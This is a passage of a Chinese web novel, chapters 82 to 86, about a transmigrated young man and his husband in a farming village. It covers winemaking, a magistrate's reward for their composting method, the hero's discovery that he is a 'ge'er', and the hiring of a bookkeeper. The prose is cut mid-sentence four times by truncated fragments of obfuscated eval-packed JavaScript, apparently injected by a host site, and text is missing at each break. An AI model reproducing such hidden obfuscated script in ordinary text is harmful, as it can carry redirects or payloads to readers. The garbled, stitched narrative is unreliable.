他们先将送云先生的东西收出来。 风炉是必须的，山中阴冷湿寒，云先生身子弱，吃些涮锅不仅驱寒，房内也能干燥温暖些。 这一匹卷云纹布料素净清雅，想必能入云先生青眼。天凉了，或裁衣衫或做衾被，都使得。 还有一盒尘端食肆的豆糖，无事时吃颗甜食，或许能让心中之苦暂时忘却一两分吧。 82. 同喜 这日一早，夫夫二人根据约定时间，正要出门去云先生家，货郎张先到了。 不同于往常每次来时都挑着重重的两架货担，今日货郎张只背着个小竹篓。 数日不见，货郎张更加黝黑健壮一些，不过细看眼窝藏着些疲惫，大抵是忙秋收之事在田间晒的。庄户人，粮食是根本。即便走街卖货再赚钱，农时误不得。但整个人喜气洋洋，精神头十足，声音也洪亮，进门便道“恭喜。” “听闻孟书郎考中秀才，真是吉人自有天相，恭喜孟书郎，恭喜琥珀公子！” “同喜，同喜。”二人将人往家中请。 回来这几日一直忙着，庄聿白总觉得少了些什么，原来这是他们回家后货郎张首次登门。 “田中可忙完了，收成如何？近来生意可好？临行前给你备的玉片可售完？” 货郎张笑道：“都好都好，年景不错，老天爷赏饭，家中10亩田收了21石粮食。这几日家中忙，货担停了几日，玉片还有些。” 庄聿白刚要跟他将堆肥术之事，却见货郎张从背篓中捧出一个红纸包，打开是两枚红色鸡蛋。 庄聿白一下明白过来，高兴得拱手相贺：“恭喜张兄！贺喜张兄！是男孩是还女孩？” “是个男娃。”货郎张高兴得只剩两排白亮亮的牙齿，一时又从怀中掏出一个红纸折成的帖子，带着三分不好意思，“八月初五生的，想请书郎给取个名字……下月初五的满月酒，若二位得闲……” “好，我们一定去！”庄聿白接了那请帖，回转头笑着看孟知彰，“秀才相公，起名字的任务就交给你啦！到时我可只管喝酒吃果子！” 孟知彰微微点了点头，眼神中不无宠溺。 说着庄聿白随手打开那帖子，里面还写了几个字。怎么说，好像比自己写得还强些，不觉惊讶：“张兄，你会写字？” “我家那位写的。他……识几个字，但不多……”货郎张更不好意思起来。 “你等等！”庄聿白急忙忙回屋拿了张单子出来，“这是一个肥田增产的方子，你回家让嫂子先看看，一些堆肥的材料可以抽时间准备起来。” 货郎张小心接了揣进怀中，忽又听说用这方子堆的肥，秋收亩产到了3石，整个人是又震惊，又紧张，连话都说不利索了：“3石？！琥珀公子，你说的，可是……3石！” “千真万确，稻谷已经实打实收在粮仓了。”庄聿白看了看日头，“田中施肥还来得及，过几天我再跟你细说怎么堆肥。今日还有些事，便不虚留张兄。” 庄聿白取了两盒果子和一包红糖给货郎张，至于他给孩子买的礼物，他要亲手给孩子戴上。 三人往外走，却见刘叔急急找了来。 今日云无择启程去府城，之后跟根据旨意去往西境守边。孟知彰和庄聿白约好要来送行。 可等了半日不见人到，刘叔以为出了什么差池，急忙忙寻过来，见是家中来了客也便放了心。 送走货郎张，夫夫二人带着送云先生的东西，随刘叔疾步往山中走。 “那陶罐等可都备好了？”庄聿白特意请牛大有在相熟的陶瓷店订做了一个大陶罐，装个100升葡萄汁不成问题。 “都好了，我里里外外用滚水清洗过很多遍，已经晾干备在那。哦，木质大杵臼也齐备了。”刘叔说着话，脚下步子越走越急，“这会先生和公子在采摘葡萄，只等两位公子到了，就开始破汁。” 杵臼、陶罐，都是用来酿葡萄酒的。 提起葡萄酒酿制容器，如今常见的便是橡木桶，其实陶罐酿制红酒的历史要更久。与橡木桶相似，陶罐表面多孔，透气性佳，适合葡萄酒的酿制，但又不会有橡木桶本身的烘烤气味和外源丹宁，从而使葡萄天然品性和风土特色的表达，更为纯粹。 当然，庄聿白选择陶罐酿制，最重要的原因是当下陶罐易得，而橡木桶难寻。 云先生家这一株葡萄，冠幅大，果串也大，庄聿白保守估计能收一百多斤葡萄。原本还想着怎么说服云先生云将今年所得葡萄用来酿酒。可谁知，此事一提，云先生竟爽快应了。 条件是，他们父子二人亲手来酿。 夫夫二人到得云家时，两匹马已拴在门外。二人默默对了个眼神，没有说话。 葡萄架下，云先生踩着脚梯，正手持银剪将一串硕大的葡萄剪下。 云无择时刻护在旁边，接过果串，小心快速放在一旁长案上的竹盘中，又忙回到阿爹身边守着。 进门那刻起，人已被这满架葡萄的馥郁果香与悠扬花香所包裹。 三个大竹盘，堆着小山似的葡萄，圆滚滚的紫红色果球，一颗挨一颗，颗颗盈润、透熟，像极了过往岁月中喜乐与酸楚，历经时间沉淀，慢慢化成实体，有了魂魄，带给人复杂又饱满的期待。 庄聿白不觉走近，低头细看，果皮上裹着的那层白色果霜，越发均匀细腻，不觉心中大喜。这是极佳的天然酿酒酵母。 其实等天气凉些再进行采摘，酿出的葡萄酒层次会更丰富，结构会更立体，口感也会更耐人寻味。不过……不过云无择马上离家。 事若求全何所乐。此时，就是最佳的采摘时间，此刻，就是绝好的酿制时刻。 见二人到了，云鹤年温和笑笑，从脚梯下来，邀请他们品评今年葡萄如何。 孟知彰整理衣衫，郑重对云鹤年行了一个大礼，将自己得了院试案首与茶魁之事，正式亲口报与云鹤年。 作为赐名长辈，作为启蒙尊长，作为茶艺恩师，云鹤年原也受得起这一拜。他走上前亲自将人扶起来。 云先生形容较此前更瘦了些，只是眉间舒朗，并不见离别愁绪。庄聿白心中舒了口气。 二人将带给来的东西逐一介绍一番，云鹤年和煦地笑着，不住点头。又责怪他们不该如此破费。 最后庄聿白从怀中掏出货郎张给到的那两枚喜蛋，请云先生一起沾沾喜气：“货郎张家生了个男娃娃，刚送来的喜蛋。” 云鹤年拿在手中，细细看着，视线不觉抬高，落在身旁儿子身上。 云鹤年习惯了以俯身低头的姿势，给儿子整理衣衫，哄他入睡，再大些教他习字读书，给习武归来的他擦干净弄脏的小花脸……可不知何时起，自己竟需要抬起头来看儿子。 仿佛昨日还在襁褓中抱着摇着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘叔忙上前将人扶住。 忧伤，最耗心神，也最使人疲惫异常。 “去把那些杂树都伐了！”云鹤年的手，仍倔强地指着云无择离去的方向，“不然择儿回家时，我如何能第一眼看到他……” 刘叔半哄半骗地将人往家中带，口中应着：“好！我明天便请炭窑的师傅来将这些杂树伐了。” “嗒嗒嗒——” 云鹤年好不容易转身往回走，身后马蹄声忽然又起，越来越近。 云鹤年眼睛瞬间亮了。 择儿回来了！或许择儿还有话同阿爹说？或许择儿想通了，不再离开阿爹去那苦寒的西境？ 云鹤年忙甩开刘叔的手，小跑着奔去迎接自己策马回来的儿子，越跑越急，脚下竟踉跄起来。 跑了一段，看清来马上之人后，云鹤年怔怔定在那里。 来人是个县衙的皂吏，见途中有人，便勒马问路。 “老先生好！请问孟家村新晋秀才孟知彰家在何处？知县大人要见他。” 83. 账房 听闻找孟知彰，庄聿白和孟知彰快速对视下，心中皆纳闷，怎会有官差找上门。 孟知彰向前拱手行礼：“在下正是阁下要找的孟知彰。” 那皂吏收缰跳下马，恭敬还了一礼，说明来意：“明日巳时知县大人要见你，烦请孟相公去趟县衙。” 皂吏将名帖递上，翻身上了马：“是好事。知县大人听说了秋收亩产3石之事。” 消息传得真快。以免有心之人以讹传讹，甚至歪曲牟利等，确实需要尽快当面核实。只是他们没想到此事第一时间找上来的竟是知县，还来得这样快。 二人接了帖子，并没有立马回家。今日无论何事，无论多忙，他们都会留下多陪陪云鹤年，哪怕知道此时此刻云先生脸上所有的笑意，只是强颜欢笑。 风炉燃上茶炭，水沸，红枣黄姜参片等简单调料在锅中上下翻腾之际，下入切好的羊肉片，以及从自己菜园拔来的那棵大菘菜。菜熟后，蘸料而食。 庄聿白一步一步示范着，并亲手将一双长竹筷递给云鹤年，哄他多吃：“先生，涮一片羊肉试试。” 羊肉温补，秋冬食用，对云鹤年这种清瘦之体甚有益处。云鹤年自然也领这份情，接了筷子，鲜嫩肉片锅中轻涮几下，蘸入手中料碟，放入口中细嚼慢品。 “果然不错。”评价属实，不仅是客套。 庄聿白笑着往云鹤年身边凑凑，弯起眼睛，声音不无调皮：“先生，这肉可不能白吃哦！” “哦？怎么还有条件。”云鹤年笑了，自是知道几人在变着法子哄自己，也便撑起精神逗了句趣，“早知如此，老夫便不吃了。” “不管！这肉您已经吃了，反悔也没机会咯。”庄聿白半耍赖半撒娇，装腔作势说着他的条件，“这第一呢……” “还有第一、第二？看来琥珀公子这是要讹上我们先生了。”刘叔也来凑趣，端来一碟山上采的野菜。 心情郁结之人，尤其不能闲坐。用一些需要动手的劳作事宜将时间塞满，是个不错的纾解之计。 “我们不仅讹上先生，听者有份，刘叔也一样要帮忙！”庄聿白冲刘叔眨眨眼。 云鹤年试了试野菜，递给庄聿白，让他也尝尝：“都有什么条件，我听听。” 庄聿白没客气，夹了一双筷子嫩绿在沸汤中轻轻涮着：“第一呢，这罐酒，您老是逃不掉的！每日早中晚各翻罐一次，直到发酵结束，也就是待所有果皮、果籽和果梗全部沉下去为止。” 庄聿白交代过，葡萄酿制全程禁用铁器铜器等金属，刘叔特意用竹子做了一个翻搅的工具。 云鹤年点头，知道对方皆是为自己好，笑说：“记下了。这其二呢？” “其二么，是咱们这葡萄园长势迅猛，比想象中快得多，再放任下去，估计他们要像瓜藤一样满地爬了。正好明日去县城，我们去买些打桩搭架的材料回来，族中也会安排些人手帮忙。先生可是我们的主心骨，到时候呢，先生就在园中看着。以及，不少植株又有花序长出，还需再清一遍。后面呢，就是大水灌溉、埋基肥了……” 庄聿白将云鹤年的时间占用得满满当当。他知道对方身子骨并不硬朗，但若只一味静养，只会让他有更多闲暇来担忧不在身旁的云无择。 与其于事无益地胡思乱想，莫如多动一动，在光下走走，或许心中郁结之气也能散一散。 云鹤年认真听着，神色淡然，不仅没有反对，似乎跟着庄聿白的思路在认真构想接下来如何配合葡萄园中之事。 刘叔见状很是开心，偷偷给庄聿白竖大拇指。 不止这些，辞别出门时，庄聿白又厚起脸皮请云鹤年帮忙准备一个送小孩子的玩意，他们去货郎张家喝满月酒时带上。 孟知彰唯恐唐突了云先生，忙要替庄聿白告罪，谁知云鹤年竟应了，说还有半月时间，他要想一想送点什么合适。 庄聿白随孟知彰从云家出来，挂在脸上的笑容与调皮劲头便消了，甚至还暗暗叹口气。声音很小，但孟知彰还是第一时间察觉。 “无事的。放心。云先生既然应允云兄去西境，想来是深思熟虑过的。他能撑得住。” 庄聿白点点头，与孟知彰并肩回了家。明日面见知县大人，还需要好生准备一番。 薛启原为人谨慎，送二人的马车已算低调，但孟知彰现在还只是一个小小秀才，驾车去县城见知县，还是有些招摇。 商量下来，孟知彰骑马先行，庄聿白则和牛大有一起驴车同往。 除了葡萄园立桩搭架之物，炭窑扩建也需要采买一些材料，庄聿白和牛大有在县城逐个店铺地寻找、议价。 这是笔不小的投资。府城回来，庄聿白家中此前攒下的银两几乎所剩无几，当下能动用的就是近日金玉满堂的一些进账以及窑炭上的资金，自是一文钱掰开了花，保证质量的情况下，能俭省的就俭省些。 货比三家，价询五店。庄聿白发现，去了趟府城，牛大有的待人处事能力，眼见着较此前强了许多，连谈判议价也有模有样起来。 牛大有能扛事，庄聿白很是惊喜。不过茶炭往来账目复杂，今后只会越来越多，内外账目还需寻个账房先生才是。可惜牛大有大字不识几个。 族中读书识字、能写会算的就那么几个人，而且老的老，小的小，都不合适。现在他们在县城也算有了一些人脉，若是让周掌柜帮忙介绍一个账房先生来也不是不可以，但让人家背井离乡地住在孟家村，想来也难长久。 此事还需细细盘算。 兄弟二人一通忙下来，已经晌午。沿街找个家小馆，一人一大碗面吃得开心。 牛大有听说孟知彰去了县衙，筷子都拿不稳了。普通百姓被唤去衙门那还能有好？ 庄聿白冲他笑笑，又将一小碟牛肉全倒进牛大有的碗中：“把心放进肚子里！你家兄弟现在是秀才了，即便犯了事，只要没定罪，见到县太爷都是不用下跪的。” 听到“犯事”二字，牛大有更坐不住了，直接要去县衙鸣冤，他家兄弟最是守礼守纪，怎么会犯事。 庄聿白忙笑着将他拦住，说是因为秋收丰产之事知县大人知道了，特意问个明白。如此一说牛大有才安定下来，他家今年秋收比往年多打了七八石粮食。这是千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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家长里短，牛大有比他更不擅长。不过货郎张家夫郎情况传奇，牛婶听说过，偶尔饭桌上跟老牛家这爷仨提到过几嘴。 “他夫郎叫粟哥儿，西境逃荒来的，差点饿死了，是张家救了他。手巧，说还会酿酒、裁衣什么的。会不会写字，我就不知道了。”对面有辆马车过来，牛大有控制了下驴车路线。 庄聿白若有所思地点点头，下个月满月酒时应该就能见到了，到时问问情况，若是可以，窑炭上的事可以帮帮忙。 “粟哥儿？这名字有意思，让我想起九哥儿。是不是叫‘哥儿’的，都多才多艺？” 牛大有眼神古怪地盯着庄聿白看来一会儿，然后用力点点头：“比如像你，何止多才多艺。此前我阿娘还担心你家那位继母难缠，并不看好这门亲事。你一来，不仅知彰，连整个孟家村都好起来……” 牛大有的夸赞发自肺腑，但庄聿白半句也没听进去，他只停在了第一句“像你”。 所有碎片，霎时缝合在一起，给庄聿白拼凑出来一个光怪陆离又震碎三观的事实： 他是男子，他更是个……哥儿。 84. 哥儿 哥儿？！ 庄聿白词典中压根不存在的一个词。他原本还单纯地以为这只是一个名字。 原主记忆中闪过一些零碎片段。关于这个身份，底色似乎都不乐观，黑暗、潮湿，沾着酸苦的痛。 让自小接受科学理性教育长大的庄聿白，最不能理解和接受的一点，原主记忆也回答不了。 救命……yue！ 庄聿白腹中一阵翻江倒海。 “琥珀，你……又晕车了？”牛大有勒紧缰绳，忙将车停到路旁。 好像也不对。向来迟钝的牛大有，此时却难得机灵一次，他盯着庄聿白看了半天，憋出一句： “琥珀，你是不是怀孕了？” * 人家两口子被窝里的事，别问，也少管。 牛婶叮嘱自己那憨憨大儿子。不过自己心中高兴，将院中的红透的大枣子满满打了一篮，又买了一篮子鸡蛋，专门送到庄聿白跟前让他补身子。 庄聿白一张脸红了又白，白了又红的，一屋子中最能说会道的人，此时难得口条迟钝起来。子虚乌有的事，若否认，倒像是自己害羞；若承认……苍天，又何止荒唐。 孟知彰看不明白，牛婶将他拉到一旁，悄悄嘱咐：“有了身子的人，不能累着……” “身孕？”孟知彰怔了一下，回头看向庄聿白，眼眸暗了暗，“他没有。” 话是回牛婶的，不过落在庄聿白身上的眼神，倒像是在认真询问当事人：“你有么？” 庄聿白心中恨恨，咬着槽牙，眼神瞪回去：老子有没有，你不知道！ 话虽如此，等冷静下来，庄聿白自己倒先不淡定了。他哪知道自己是个哥儿？他更不知道这个哥儿的设定，竟然还会生崽！ 这不科学！ 这不道德！ 这有悖人性！ 男人怎么会生崽？这怎么生嘛！ 不对，一切难题在没有解的情况下，最重要的是追本溯源，回到问题最开始的地方： 这崽，要怎么怀？或者换一种说法：怎么才能不怀这崽？ 庄聿白指甲抠进肉里。脸上阴晴圆缺，心中悲欢离合。 大家都是成年人，男女之事他还是懂的。哦，做人要坦荡，男男之事他也不能承认自己一无所知。 可这设定中的怀崽之法，原主记忆帮不上任何忙。若去问孟知彰……倒像是调戏勾引人家。不合适。 回来车上自己确确实实也吐了。难道真是孕吐？ 睡在一个被窝就会怀孕？摸摸胸肌就会怀孕？额，喝醉那夜，这个生猛大块头好像抱了自己…… 孟知彰啊孟知彰，你个害人精。我拿你当兄弟，你拿我造小人。你若真把老子搞怀孕了，我，我跟你拼了！ 庄聿白极力回想自己和孟知彰之间有过的所有亲密接触。平心而论，好像确实没什么。 男女之间亲个嘴，是铁定怀不上的。何况他和孟知彰之间，这嘴，是一定没亲过的。其他少儿不宜的，审核过不了的，更是一点也没有。 清清白白的两个绝世好孩子。 庄聿白深舒一口气，放了心。正常哪可能怀上崽！嗐，自己吓自己。 一想又不对，可正常男人也不该怀崽啊？ 接下来，孟知彰家成功过上了草木皆兵、矫枉过正的好日子。 白天，两人尽量避免同处一室，担心某些致孕因子会通过空气传播。晚上，原想分床睡，一则现在买个床没必要，二则天冷了挤一挤暖和，便只分被窝不分床。不过饭桌上分餐落实得很坚决——减少□□交换。 时间很快进入了九月份。 山上新建的两个炭窑投产使用，日常茶炭订单正有条不紊地紧密推进，比想象中要顺利。只是日常账目上都是庄聿白自己在弄。他真的很需要一个帮手。 因为有一个中秋，金玉满堂的订单是平时将近三倍。好在忙完秋收，族中人手充足，并没有出什么差池。 葡萄园中7条长长的南北向葡萄架已经搭起来。两米二一根的石头立柱，半米埋入土中，6米远一根，每根拉三道绳索，将葡萄新枝向上引缚培养。所有葡萄树也完成了摘心、修剪、整形。一切井然有序。 这日一早，孟知彰二人穿戴整齐，带上给货郎张夫夫的东西以及新生儿的礼物，赶了马车来到货郎张家。 到货郎张家的前一秒，庄聿白甚至还在疑心，男子生娃或许只是一个玩笑。可等他见到暖绒绒襁褓中那个嫩嫩的真娃娃时，心情又极度复杂起来。 香香软软的小奶宝宝，哪个不喜欢？此时正睡醒，躺在粟哥儿身旁玩，一双黑葡萄似的眼睛咕噜噜转着，看到俯身过来的庄聿白，小嘴巴更是咧了咧。 “孟知彰，他在笑诶！真的在笑！”庄聿白越看越喜欢，忍不住扯了孟知彰的袖子过来看。 孟知彰被拽着向前走了半步，稍稍俯身，将声音尽量调整柔和，对着奶宝宝说：“你好啊，张牧禾。” “张牧禾平安健康，长命百岁。”庄聿白笑着，将府城带来的平安锁，放在小宝宝的身上。 见到这银质平安锁，货郎站夫夫一下拘谨起来，他夫郎道：“让两位恩人如此破费，这怎么使得？” 货郎张也忙道：“带来的东西，已经够让我们过意不去的了。这平安锁……” “给孩子的！”庄聿白笑这打断，又上前去逗逗小宝宝，“小阿禾喜欢的，对不对？” “小阿禾说喜欢，谢谢两位公子厚爱！”阿禾阿爹笑着替孩子道谢。 庄聿白这才将注意力移到传说中这位货郎张的夫郎身上。 粟哥儿生得瘦削，看上去比庄聿白还要单薄。不过模样确实好，眉清目秀，柔和谦逊。唇下一点红痣更是给人增了三分活泼。 庄聿白提到书写算数之事。粟哥儿知道若没有恩人这金玉满堂生意帮衬着，家中哪里能到眼下这般田地，两人虽是第一次见面，心中却是旧相识一般，关于自己的身世，粟哥儿也皆如实相告。 粟哥儿是西境逃荒来的。这一点庄聿白此前有所耳闻。他不知道粟哥儿自小被卖进一个大户人家，成了家中小公子的贴身书童。好在那小公子待他极好，粟哥儿自己也聪明好学，慢慢跟着识得一些字，读了几页书。 庄聿白也没绕圈子，直接问向粟哥儿，炭窑上目前需要一个能写会算之人，他有没有兴趣。一开始可以先跟着学记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可他是个哥儿啊，一个哥儿怎好出头露面？怎能担起账房先生的重任？”有人锤手顿足，叹息不已。 “哥儿怎么了？女子又如何？生来就合该等着被婚配，等着相夫教子？生来就必须终身困死在这床帏灶间？”庄聿白一双眼睛慢慢扫着场下，“炭窑有账房先生的需求，粟哥儿有写写算算的本事。两下契合，有何不可？” 场下人强硬坚持：“再怎么说他也是一个哥儿啊，一个哥儿能有多少见识？能有多大能耐？” 庄聿白退回到自己上首的席位上，轻描淡写道：“大家似乎忘了一件事，我庄聿白也是一个哥儿。一个外姓的哥儿。” 此话一出，全场哑然。 不知何时，孟知彰已经站到庄聿白身边，位置稍稍靠前，挡了他半个肩膀，像个强大又忠诚的护卫。神情凛然，身姿威严。 他先看看一众上首，又冲族长点点头，之后将握紧的拳头收回长衫袖中，背至身后，温柔地冲庄聿白点点头。 意思是，放心。 若众上首们做不得主，还有族长、族规在。 若族长也无能为力，还有他孟知彰的拳头在。 85. 经验 哥儿，就低人一等吗？ 哥儿，生来就只能活在别人阴影下、见不得光？ 或许是庄聿白金玉满堂和茶炭生意太出众，或许是新型堆肥术过于惹人追捧，众人已然忘记他也是一个哥儿。 也有人记得，早看不惯他一个乳臭未干的外姓小哥儿，在孟氏祠堂指指点点。但实打实到手的银钱和粮仓中因新肥多出的粮食，又让他们难以开口说个“不”。 更多的人喜欢庄聿白，也尊重甚至是崇拜庄聿白。正因为庄聿白的存在，生了哥儿的人家，身板较之前也硬气起来。哥儿怎么了，没见人家琥珀么，内外皆是一把好手！州府远近有几个人能比得上的！心中想着又摸摸自家孩子的额前碎发，幻想着自家哥儿将来也能这般出人头地。 夫夫二人回到家时，手上拿着一份正式聘用帖子，落款不仅有族长牛叔等人名字，还盖了族中红印。 “我们拿着这帖子再去请粟哥儿，对方想来会同意的。”庄聿白胸有成竹地对孟知彰扬下眉。 孟知彰拦了下，说不急，建议先把消息放出去：“若有鱼鳖搅弄风浪，或许等风浪落下来再去请粟哥儿更合适。你觉得如何？” 孟知彰夹了一筷凉拌藕片给庄聿白。 庄聿白细品着孟知彰的言外之意。 的确如此。账房先生，别多少人挤着都不一定能得到的位置，他一个带娃小哥儿轻而易举就得了，别人岂不眼红？明着不敢说什么，背地里使使绊子也能压垮他们这个本就没有什么托底变量的小家。 孟氏族人这边有他们二人和牛家看着，别人想动歪心思也得掂量掂量，可出了孟家村就不好说了。 庄聿白竖了个大拇指，弯起眼睛夸赞孟知彰考虑周全。 藕片正当季，清爽脆甜，他还想再吃些，筷子伸出去忽想起这是孟知彰夹给他的。 庄聿白明显慌了，猛地揪住自己胸前衣襟，服了毒一般看着孟知彰。 “怎么了？哪里不舒服？”孟知彰剑眉蹙起，上前扶住庄聿白肩膀，却被对方七手八脚慌乱推开。 “我不会……怀孕吧？”话一出口，无比羞耻。事业未半，而中途揣崽，这……这让人怎么活？庄聿白慌张得要命，浑身细微地抖着。 明白过来的孟知彰，嘴角扬起些弧度。他伸手帮庄聿白把挡在脸颊上的一缕头发理到身后，摇摇头，温柔又坚定地看着庄聿白的眼睛。 “放心，不会。” 庄聿白看看碗碟，又看看孟知彰，疑惑难消，又将身下的椅子挪远一些。 “哥儿的受孕，是一个奇妙且严谨的过程。”孟知彰正襟危坐，严肃又认真，“牵手，拥抱，接吻，都不会怀孕。甚至同寝同沐，也不会。需要夫夫二人……” 天！青天白日，孟知彰竟然在这里堂而皇之科普受孕之事。我和你是兄弟哎，兄弟！关系再好，咱也得有点分寸感和距离感，好么！ “停！不要继续讲了！”庄聿白脑中嗡嗡作响，嘴巴不受控，心里埋怨的话，一时竟说出了口，“想不到你经验如此丰富！” “哦？”孟知彰视线从对方身上收回，“权当这是琥珀兄对在下的称赞。” * 知县大人派人锣鼓喧天地将一块亲手书写的匾额抬进孟氏祠堂时，薛家派来给庄聿白送信的小厮也找到了孟家村。 知县是个实干派，目的很明确——新型堆肥术。 除了风光无两的匾额，还有一个木匣装着的地契。孟知彰现在是秀才身份，按规定可以免20亩田地赋税。孟家眼下只有6亩。知县特将14亩上等官田划出来给到孟知彰，以表彰其为乡民带来的这丰产增收的堆肥技术。 知县懂得人情世故。大张旗鼓送匾，给足面子；奖赏良田十余亩，是实在好处。里子面子全有了，而且话也放出去，孟知彰夫夫这新型堆肥术不上交，是说不过去的。 当然，二人若想着挟技术以盈利，此前便不会免费带乡邻一起堆肥。眼下知县亲自号召推广，造福更多百姓，未尝不是好事一桩。 来办差的皂吏冲孟知彰拱手：“孟相公上次给到的‘琥珀堆肥术’，知县大人已着人准备起来了，大人的意思是，孟相公若得闲时再去指导一二。” 琥珀堆肥术？！ 知县不是贪功之人，当日与孟知彰面谈便建议以其名字冠名，让从堆肥术中获益的百姓都能记住真正当感激之人。琥珀堆肥术这个名字，是孟知彰的主意。 族长亲开祠堂将“耕读传家”的匾额迎进去，挂在最显眼的地方。告慰祖宗，也供儿孙瞻仰。 皂吏一走，族人将夫夫二人围起来，此前嫌弃庄聿白哥儿身份之人，也都低了头。别说外姓的哥儿了，族中所有人，算上几任族长，谁能劳动得了知县大人亲自给祠堂书写匾额？ 孟知彰是孟氏儿孙的骄傲！庄聿白更是孟氏一族的恩人！ “孟氏族人皆需记住孟家儿郎孟知彰的好，也当记住孟家夫郎庄聿白的好。” 族中老人们提点着后辈。 薛家派来给庄聿白带信的小厮，可谓全程见证这一盛况。他是来跟庄聿白汇报近来府城情况的。 “齐物山上共建成5口炭窑，中等魁炭已经投产。涉及技术层面的，我家大公子亲自在做，两位公子尽管放心。” 小厮递上一包银子，眼中压不住的兴奋：“涮锅生意已经红火得没了边，不到一个月，上至八旬老汉下至学步孩童，没有不知不晓的。这是20银子，其中5两是这涮锅分成，其余是魁炭费用。” 庄聿白收了银子，将堆肥术的单子一式两份给到小厮，并附上书信。薛家城外有几个庄子，想来这堆肥之术定能用得上。同时也请小厮帮忙去三省书院送个信。 前脚送走薛家小厮，货郎张敲响了孟知彰的柴门。 货郎张一张方脸憋得通红，支吾半天方说出来意：“家中孩子还小，粟哥儿恐怕不能来窑炭上帮工了，别耽误了炭窑生意，书郎和琥珀公子还是赶紧另寻他人吧。” 庄聿白从对方闪躲的眼神中看出，这是与粟哥儿教他的话。孩子小，自是一个委婉托词。 眼下几个月有庄聿白和孟知彰一起跟着，粟哥儿的工作量不会太大，完全有时间和精力照料孩子。若说嫌辛苦，更不可能。虽尚未见过几面，庄聿白断定粟哥儿此人绝对可靠，绝非那贪图安逸之人。 而且，一个人眼神中的光，是装不出来的。 经过再三逼问，庄聿白终于从货郎张口中拼凑出大致实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这日，张氏族长张福正与族中耆老商议农田播种之事，忽听人报，说孟氏一族有位上首有事求见，这会儿已经到了村口。 孟氏与张氏虽毗邻而居，但两族隔着山，素日族人之间却鲜少往来。 近来孟家村的金玉满堂和茶炭闹得是满城风雨，昨日连县衙皂吏也来了，吹吹打打给孟家祠堂送了牌匾。这些热闹事，张氏一族想不知道也难，说不羡慕嫉妒也难。可谁让族中没出个得力的秀才相公呢？ 孟氏一族刚刚被知县大人嘉奖，今日就派上首亲临议事，还用了一个“求”字，这让族长张福面上甚觉有光。他忙派人去村口迎接。 张福与族中众耆老等在正堂，听外面人声渐近，忙正正衣冠起身迎至正门，待定睛向外看时，人群扫了几个来回，却不见孟氏上首，只有被众人簇拥进来的一个年轻小哥儿。 张福料定对方故意搞事，一张沧桑的脸登时拉下来。 孟氏一族死绝了么？即便再看不起我张氏之族，也不至于派一个乳臭未干的小哥儿来议事。 张福耷拉着眼皮，声音冰冷：“不是说孟氏一族的上首来访吗？他人在何处？” 那小哥儿上前一步，拱手行礼：“孟氏族人庄聿白，问诸位好！” 正常礼尚往来，此时应拱手还礼。张福双手却仍背至身后，站在台阶上冷眼觑着眼前这小哥儿：“你回去吧。让孟氏派个主事的正经人来。” 86. 撑腰 “在下便是孟氏主事人之一。”庄聿白上前一步，不卑不亢。 放任族人欺凌弱小，庄聿白料到这位族长并不像孟氏族长这般明事理，也做了心理准备，只是没想到对方态度如此傲慢。放在邦国外交，这属于当众驱逐来使，足以兴师讨伐。 “你？”张福终于抬了下眼皮，视线扫向一本正经的庄聿白。真是一本正经胡说。 家族中的主事人，只有族长和几位上首。眼前这个胎毛还没长齐的小哥儿，仗着自己长得周正就敢当众戏耍张氏族长，真当我张家没人了么！ 不过近来孟氏家族风光无二，若直接将人打出去，两族真交了恶也不好。张福压下胸中翻腾的那股怒气，语气还是带出不耐烦：“老夫还有正事，没空在这里哄你，你且别处玩去吧！” 庄聿白并未因为对方的无礼而失了礼，仍客气站在原地：“在下此次来，也有正事要与族长商议。” 真是好大的口气，即便是孟氏族中的耆老上首想见老夫还要提前说明，他一个哥儿竟敢站在这说有正事同老夫商议。 孟氏一族好日子才过几天，就张狂得这般！连一个哥儿都敢出来抛头露面，还说有正事与族长商议。真是笑话。 一个哥儿，能够和族长说上两句话，已经算无上荣耀了，还想赖着不走？给你面子你不要，那就休怪我不客气。 “来人，送客！”张福一甩袖子，人群霎时将通往门口的路让出来。 “族长当真不想听听我为何事而来？”庄聿白看了眼散开的人群，嘴角轻笑。 对方这处变不惊的态度，倒让张福心中升起几分不安。他收回正要迈走到腿，决定再仁慈一回，耐住性子说：“难道你看上我们族中儿郎，家中不同意？若你备足嫁妆，或者不收聘礼，老夫或可以出面给你说句情。不过正室之位，就休要想了！” 男女无媒人夜奔之事时有发生，张福看眼前小哥儿模样不错，料定是看上了族中几个富户家的子侄。 “老夫还有正事，你若真为此事，改日再来吧。”张福的耐心有限，说完甩下衣袖，直接往正堂走。 有人见形势不对，忙从旁小声提醒：“族长，他不是别人，是孟氏新任的第九位上首……” “胡说！”族长瞪了那人一眼，脚下未停，转身坐在正堂席位上时，门外之人已被族人“请”了出去。 上首都是族中德高望重的耆老，他一个小哥儿，真是吃了熊心豹子胆，竟敢冒充孟氏上首来张家族中闹。他没有将对方逮住送到孟氏讨说法，已经算仁至义尽了。 “方才说到哪里？”张福同族中众人继续商议冬麦播种之事。 “说到底肥之事。”有人接话。 